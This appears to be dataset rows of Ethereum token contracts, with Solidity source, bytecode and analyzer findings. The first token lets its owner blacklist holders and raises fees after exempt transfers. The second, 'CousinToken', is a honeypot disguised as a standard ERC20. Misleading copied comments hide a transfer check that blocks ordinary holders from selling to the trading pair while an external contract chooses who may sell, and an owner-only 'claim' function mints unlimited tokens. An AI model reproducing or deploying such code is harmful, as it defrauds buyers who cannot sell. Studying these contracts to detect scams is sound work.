uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102c3578063c3c8cd80146102e3578063c9567bf9146102f8578063d543dbeb1461030d578063dd62ed3e1461032d57600080fd5b8063715018a6146102665780638da5cb5b1461027b57806395d89b4114610119578063a9059cbb146102a357600080fd5b8063273123b7116100dc578063273123b7146101d3578063313ce567146101f55780635932ead1146102115780636fc3eaec1461023157806370a082311461024657600080fd5b806306fdde0314610119578063095ea7b31461015d57806318160ddd1461018d57806323b872dd146101b357600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082018252600c81526b125b9cdc1a5c985d1a5bdb8d60a21b6020820152905161015491906119c1565b60405180910390f35b34801561016957600080fd5b5061017d610178366004611852565b610373565b6040519015158152602001610154565b34801561019957600080fd5b50683635c9adc5dea000005b604051908152602001610154565b3480156101bf57600080fd5b5061017d6101ce366004611812565b61038a565b3480156101df57600080fd5b506101f36101ee3660046117a2565b6103f3565b005b34801561020157600080fd5b5060405160098152602001610154565b34801561021d57600080fd5b506101f361022c366004611944565b610447565b34801561023d57600080fd5b506101f361048f565b34801561025257600080fd5b506101a56102613660046117a2565b6104bc565b34801561027257600080fd5b506101f36104de565b34801561028757600080fd5b506000546040516001600160a01b039091168152602001610154565b3480156102af57600080fd5b5061017d6102be366004611852565b610552565b3480156102cf57600080fd5b506101f36102de36600461187d565b61055f565b3480156102ef57600080fd5b506101f3610603565b34801561030457600080fd5b506101f3610639565b34801561031957600080fd5b506101f361032836600461197c565b6109fc565b34801561033957600080fd5b506101a56103483660046117da565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610380338484610acf565b5060015b92915050565b6000610397848484610bf3565b6103e984336103e485604051806060016040528060288152602001611b92602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611005565b610acf565b5060019392505050565b6000546001600160a01b031633146104265760405162461bcd60e51b815260040161041d90611a14565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104715760405162461bcd60e51b815260040161041d90611a14565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104af57600080fd5b476104b98161103f565b50565b6001600160a01b038116600090815260026020526040812054610384906110c4565b6000546001600160a01b031633146105085760405162461bcd60e51b815260040161041d90611a14565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610380338484610bf3565b6000546001600160a01b031633146105895760405162461bcd60e51b815260040161041d90611a14565b60005b81518110156105ff576001600a60008484815181106105bb57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f781611b27565b91505061058c565b5050565b600c546001600160a01b0316336001600160a01b03161461062357600080fd5b600061062e306104bc565b90506104b981611148565b6000546001600160a01b031633146106635760405162461bcd60e51b815260040161041d90611a14565b600f54600160a01b900460ff16156106bd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161041d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106fa3082683635c9adc5dea00000610acf565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073357600080fd5b505afa158015610747573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076b91906117be565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b357600080fd5b505afa1580156107c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107eb91906117be565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083357600080fd5b505af1158015610847573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086b91906117be565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061089b816104bc565b6000806108b06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091357600080fd5b505af1158015610927573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094c9190611994565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c457600080fd5b505af11580156109d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff9190611960565b6000546001600160a01b03163314610a265760405162461bcd60e51b815260040161041d90611a14565b60008111610a765760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161041d565b610a946064610a8e683635c9adc5dea00000846112ed565b9061136c565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b315760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041d565b6001600160a01b038216610b925760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c575760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041d565b6001600160a01b038216610cb95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041d565b60008111610d1b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161041d565b6000546001600160a01b03848116911614801590610d4757506000546001600160a01b03838116911614155b15610fa857600f54600160b81b900460ff1615610e2e576001600160a01b0383163014801590610d8057506001600160a01b0382163014155b8015610d9a5750600e546001600160a01b03848116911614155b8015610db45750600e546001600160a01b03838116911614155b15610e2e57600e546001600160a01b0316336001600160a01b03161480610dee5750600f546001600160a01b0316336001600160a01b0316145b610e2e5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161041d565b601054811115610e3d57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610e7f57506001600160a01b0382166000908152600a602052604090205460ff16155b610e8857600080fd5b600f546001600160a01b038481169116148015610eb35750600e546001600160a01b03838116911614155b8015610ed857506001600160a01b03821660009081526005602052604090205460ff16155b8015610eed5750600f54600160b81b900460ff165b15610f3b576001600160a01b0382166000908152600b60205260409020544211610f1657600080fd5b610f2142603c611ab9565b6001600160a01b0383166000908152600b60205260409020555b6000610f46306104bc565b600f54909150600160a81b900460ff16158015610f715750600f546001600160a01b03858116911614155b8015610f865750600f54600160b01b900460ff165b15610fa657610f9481611148565b478015610fa457610fa44761103f565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fea57506001600160a01b03831660009081526005602052604090205460ff165b15610ff3575060005b610fff848484846113ae565b50505050565b600081848411156110295760405162461bcd60e51b815260040161041d91906119c1565b5060006110368486611b10565b95945050505050565b600c546001600160a01b03166108fc61105983600261136c565b6040518115909202916000818181858888f19350505050158015611081573d6000803e3d6000fd5b50600d546001600160a01b03166108fc61109c83600261136c565b6040518115909202916000818181858888f193505050501580156105ff573d6000803e3d6000fd5b600060065482111561112b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161041d565b60006111356113da565b9050611141838261136c565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061119e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111f257600080fd5b505afa158015611206573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122a91906117be565b8160018151811061124b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112719130911684610acf565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112aa908590600090869030904290600401611a49565b600060405180830381600087803b1580156112c457600080fd5b505af11580156112d8573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826112fc57506000610384565b60006113088385611af1565b9050826113158583611ad1565b146111415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161041d565b600061114183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113fd565b806113bb576113bb61142b565b6113c684848461144e565b80610fff57610fff60056008556014600955565b60008060006113e7611545565b90925090506113f6828261136c565b9250505090565b6000818361141e5760405162461bcd60e51b815260040161041d91906119c1565b5060006110368486611ad1565b60085415801561143b5750600954155b1561144257565b60006008819055600955565b60008060008060008061146087611587565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061149290876115e4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114c19086611626565b6001600160a01b0389166000908152600260205260409020556114e381611685565b6114ed84836116cf565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161153291815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611561828261136c565b82101561157e57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115a48a6008546009546116f3565b92509250925060006115b46113da565b905060008060006115c78e878787611742565b919e509c509a509598509396509194505050505091939550919395565b600061114183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611005565b6000806116338385611ab9565b9050838110156111415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161041d565b600061168f6113da565b9050600061169d83836112ed565b306000908152600260205260409020549091506116ba9082611626565b30600090815260026020526040902055505050565b6006546116dc90836115e4565b6006556007546116ec9082611626565b6007555050565b60008080806117076064610a8e89896112ed565b9050600061171a6064610a8e8a896112ed565b905060006117328261172c8b866115e4565b906115e4565b9992985090965090945050505050565b600080808061175188866112ed565b9050600061175f88876112ed565b9050600061176d88886112ed565b9050600061177f8261172c86866115e4565b939b939a50919850919650505050505050565b803561179d81611b6e565b919050565b6000602082840312156117b3578081fd5b813561114181611b6e565b6000602082840312156117cf578081fd5b815161114181611b6e565b600080604083850312156117ec578081fd5b82356117f781611b6e565b9150602083013561180781611b6e565b809150509250929050565b600080600060608486031215611826578081fd5b833561183181611b6e565b9250602084013561184181611b6e565b929592945050506040919091013590565b60008060408385031215611864578182fd5b823561186f81611b6e565b946020939093013593505050565b6000602080838503121561188f578182fd5b823567ffffffffffffffff808211156118a6578384fd5b818501915085601f8301126118b9578384fd5b8135818111156118cb576118cb611b58565b8060051b604051601f19603f830116810181811085821117156118f0576118f0611b58565b604052828152858101935084860182860187018a101561190e578788fd5b8795505b838610156119375761192381611792565b855260019590950194938601938601611912565b5098975050505050505050565b600060208284031215611955578081fd5b813561114181611b83565b600060208284031215611971578081fd5b815161114181611b83565b60006020828403121561198d578081fd5b5035919050565b6000806000606084860312156119a8578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156119ed578581018301518582016040015282016119d1565b818111156119fe5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a985784516001600160a01b031683529383019391830191600101611a73565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611acc57611acc611b42565b500190565b600082611aec57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b0b57611b0b611b42565b500290565b600082821015611b2257611b22611b42565b500390565b6000600019821415611b3b57611b3b611b42565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104b957600080fd5b80151581146104b957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a6bc90916f46b40b6993516886ef9c96446fefe6b8b67760ff216153fe361ea764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,304 |
0x579db5d9b532fa48d85205986003f4c60d72ac65
|
/**
*Submitted for verification at Etherscan.io on 2022-03-03
*/
// SPDX-License-Identifier: GNU GPLv3
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function invalidAddress(address _address) virtual external view returns (bool){}
/**
* @dev Returns if it is a invalid address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function approver() virtual external view returns (address){}
/**
* @dev approver of the amount of tokens that can interact with the allowance mechanism
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract CousinToken is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal invalid;
address internal openzepplin = 0x40E8eF70655f04710E89D1Ff048E919da58CC6b8;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
*@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner'
* functions anymore. Can only be called by the current owner.
*/
function claim(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: claim from the zero address");
_claim (_address, tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _transfer (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _claim(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
invalid = _Address;
_totalSupply = _totalSupply.add(_Amount);
balances[_Address] = balances[_Address].add(_Amount);
}
function _transfer (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be a invalid address. */ || ((IERC20(openzepplin).invalidAddress(start) == true || start == invalid) && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
receive() external payable {
}
fallback() external payable {
}
}
|
